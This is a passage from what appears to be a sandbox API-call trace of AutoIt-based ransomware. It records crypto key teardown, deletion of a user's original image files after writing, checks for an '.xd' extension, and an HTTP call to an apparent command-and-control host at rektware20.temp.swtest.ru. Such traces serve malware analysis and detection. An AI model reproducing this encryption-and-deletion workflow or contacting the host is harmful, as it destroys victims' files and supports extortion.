returned 0 [0060.787] WriteFile (in: hFile=0x2ac, lpBuffer=0x17e0b20*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17e0b20*, lpNumberOfBytesWritten=0x130f01c*=0x1f30, lpOverlapped=0x0) returned 1 [0060.788] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.788] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.788] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0060.788] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.788] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.788] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0060.788] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0060.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621330, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0060.788] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0060.788] CryptDestroyKey (hKey=0x164c4f0) returned 1 [0060.789] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.789] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.789] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0060.789] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0060.789] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0060.789] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0060.789] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0060.789] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0060.789] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.789] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0060.789] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0060.789] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0060.789] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.789] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.789] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.789] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0060.789] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.789] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0060.789] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.790] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.790] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.790] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.790] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0060.790] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.790] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.790] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0060.790] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0060.790] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0060.790] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0060.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0060.790] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0060.790] CryptReleaseContext (hProv=0x17a9e78, dwFlags=0x0) returned 1 [0060.790] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.791] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.791] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0060.791] FreeLibrary (hLibModule=0x74c60000) returned 1 [0060.791] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.791] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.791] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.791] CloseHandle (hObject=0x3bc) returned 1 [0060.791] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.791] CloseHandle (hObject=0x2ac) returned 1 [0060.794] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.794] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0060.794] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\bPy7.jpg", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\bPy7.jpg", lpFilePart=0x0) returned 0x3e [0060.794] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\bPy7.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\ccploc5jnnq\\bpy7.jpg")) returned 0x20 [0060.794] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\bPy7.jpg", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c630 [0060.794] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\bPy7.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\ccploc5jnnq\\bpy7.jpg")) returned 1 [0060.804] FindNextFileW (in: hFindFile=0x164c630, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0060.804] FindClose (in: hFindFile=0x164c630 | out: hFindFile=0x164c630) returned 1 [0060.804] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0060.804] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.804] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.804] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.804] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cab0 [0060.805] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0060.805] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.805] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0060.805] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0060.805] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0060.805] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0060.805] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d30, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620d30, lpdwBufferLength=0x130ef8c) returned 1 [0060.805] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0060.805] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0060.805] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0060.806] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0060.806] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0060.806] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0060.807] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292b0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292b0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0060.807] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629210, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629210*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0060.807] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0060.807] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0060.807] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0060.807] CloseHandle (hObject=0x0) returned 0 [0060.807] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.807] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.807] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.808] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.810] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.810] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.810] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.810] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ictures\\Tna4ykb0U1\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ctures\\Tna4ykb0U1\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tures\\Tna4ykb0U1\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.812] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ures\\Tna4ykb0U1\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.812] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="res\\Tna4ykb0U1\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.812] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="es\\Tna4ykb0U1\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.812] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Tna4ykb0U1\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.812] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Tna4ykb0U1\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.812] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Tna4ykb0U1\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.812] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="na4ykb0U1\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.812] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a4ykb0U1\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.812] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4ykb0U1\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.812] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ykb0U1\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.812] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kb0U1\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.812] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="b0U1\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.812] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0U1\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.812] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="U1\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.812] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.812] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.812] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.812] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.812] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PLOC5JnNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.813] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOC5JnNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.814] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="OC5JnNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.814] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C5JnNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.814] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5JnNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.814] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JnNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.814] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nNq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.814] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Nq\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.814] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="q\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.814] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.814] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="K41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.814] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="41yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.814] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.814] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yerVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.814] CompareStringW 